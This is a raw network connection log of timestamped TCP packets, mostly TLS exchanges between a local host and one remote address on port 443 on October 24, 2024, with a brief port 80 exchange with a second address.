Oct 24, 2024 08:45:46.384547949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384587049 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384627104 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.384633064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384696960 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384743929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384779930 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.384787083 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.384850025 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385500908 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385540009 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.385545969 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385612965 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385653019 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385689974 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.385696888 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385742903 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385786057 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.385824919 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.385832071 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386343956 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386482954 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386523008 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.386529922 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386591911 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386634111 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386671066 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.386677980 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386743069 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386790991 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386828899 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.386836052 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386898041 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386940956 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.386976957 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.386982918 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387054920 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387058973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387099981 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387110949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387187958 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387229919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387271881 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387322903 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387330055 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387389898 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387418985 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387445927 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387445927 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387453079 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387495041 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387511015 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387552977 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387598991 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387604952 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387658119 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387700081 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387723923 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387728930 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387795925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387830019 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387835979 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387901068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387945890 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.387983084 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.387989044 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388042927 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388128042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388161898 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388168097 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388233900 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388310909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388433933 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388444901 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388464928 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388472080 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388492107 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388510942 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388521910 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388592005 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388597012 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388628006 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388655901 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388698101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388698101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388705015 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388755083 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388792038 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388797045 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388854980 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388895035 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.388900042 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388945103 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.388984919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389024019 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389030933 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389112949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389163971 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389169931 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389182091 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389241934 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389323950 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389404058 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389439106 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389445066 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389508009 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389547110 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389552116 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389636993 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389681101 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389728069 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389734983 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389791012 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389833927 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389868021 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.389873981 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389935017 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.389976978 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390019894 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.390026093 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390037060 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390065908 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.390090942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390150070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390192032 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390234947 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.390242100 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.390470982 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.390518904 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391133070 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391242981 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391294003 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391334057 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391340971 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391412973 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391459942 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391493082 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391499996 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391561031 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391602039 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391638994 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391644001 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391705990 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391746998 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391789913 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391796112 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391848087 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391892910 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.391932011 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.391938925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.392004013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.392043114 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.392093897 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.392100096 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.396068096 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.396122932 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.437038898 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437109947 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437135935 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437166929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437200069 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.437211990 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437226057 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.437254906 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.437262058 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470666885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470705986 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470737934 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470768929 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.470782995 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470827103 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.470833063 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470877886 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470911026 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470948935 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.470952988 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470964909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.470999956 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471008062 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471062899 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471098900 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471131086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471141100 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471148014 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471187115 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471190929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471270084 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471296072 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471333027 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471396923 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471402884 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471457005 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471460104 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.471494913 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.471498966 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.482165098 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.482191086 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.482250929 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715384960 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715504885 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715534925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715550900 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715565920 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715595961 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715605021 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715657949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715687037 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715698957 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715703964 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715734005 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715787888 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715862989 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715884924 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715913057 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715918064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.715934038 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.715954065 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716006994 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716032982 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716057062 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716061115 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716084003 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716206074 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716226101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716239929 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716259956 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716264009 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716284990 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716320992 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716636896 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716660023 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716691971 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716696978 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716707945 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716841936 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716871977 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716892958 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716897011 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.716917992 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.716932058 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717075109 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717097044 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717123032 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717127085 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717144012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717169046 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717228889 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717252970 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717278957 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717283010 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717295885 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717386007 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717564106 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717587948 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717618942 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717622995 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717639923 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717708111 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717732906 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717757940 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717761993 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717777967 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717834949 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717865944 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717886925 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717916012 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.717920065 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.717935085 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718030930 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718338013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718363047 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718394041 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718399048 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718415976 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718487024 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718514919 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718528986 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718534946 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718569040 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718630075 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718651056 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718671083 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718674898 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718694925 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718708038 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718935013 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718965054 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.718987942 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.718992949 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.719012976 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.719068050 CEST	80	49174	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:46.719089031 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.719113111 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.719120979 CEST	49174	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:46.719131947 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.719136953 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.719152927 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.719168901 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.719338894 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.721386909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.721415043 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.721441984 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.721450090 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.721460104 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.721595049 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.723078966 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723108053 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723143101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.723154068 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723166943 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.723221064 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723247051 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723262072 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.723265886 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.723288059 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.723288059 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.739931107 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.739960909 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.739994049 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740004063 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740015030 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740075111 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740472078 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740499020 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740542889 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740550995 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740559101 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740767956 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740804911 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740823030 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.740828037 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:46.740839005 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:46.741142035 CEST	443	49169	142.250.186.97	192.168.2.22
